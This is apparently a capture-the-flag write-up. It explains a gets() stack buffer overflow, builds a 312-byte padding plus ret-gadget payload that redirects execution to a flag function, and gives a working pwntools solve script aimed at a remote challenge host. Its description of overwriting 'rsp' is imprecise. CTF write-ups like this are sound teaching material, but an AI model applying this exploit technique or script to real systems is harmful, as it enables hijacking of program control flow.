So, vuln calls gets() which is a highly vulnerable function given it does not limit the input. Based on the declaration, we know a few things.

Array is 304 bytes, so we start with “A” * 304 to overwrite that. Then, we will be overwriting rbp as that’s the next thing on stack, so “A” * 312, as rbp is 8 bytes long. Then, we will be overwriting rsp, which allows us to call any function.

As a result, we need to use this vulnerability to call the flag function. We can find its address in IDA without much hassle, and we are able to exploit on local. This is how I built the payload:

```python
flag_addr = struct.pack("<Q", 0x400767)
bof = b"A" * 312
bof += flag_addr
```

However, when attempting on remote, we have issues. Why? Stack Alignment.

When overflowing, the stack usually has misalignment problems. You can read more about that here:

https://github.com/Gallopsled/pwntools/issues/1870

To fix this we need the address of a ret gadget. We can find one using **ROPgadget --binary bof | grep "ret"**. We need to include this gadget between the A’s and the flag address. The final solve script is as follows:

```python
 from pwn import *

import struct

r = remote("34.89.200.183",31130)
flag_addr = struct.pack("<Q", 0x400767)
ret_padding = struct.pack("<Q", 0x4005de)
bof = b"A" * 312 + ret_padding + flag_addr
r.recvline()
r.sendline(bof)
print(r.recv().decode())
```

Made with love by: AndreiCat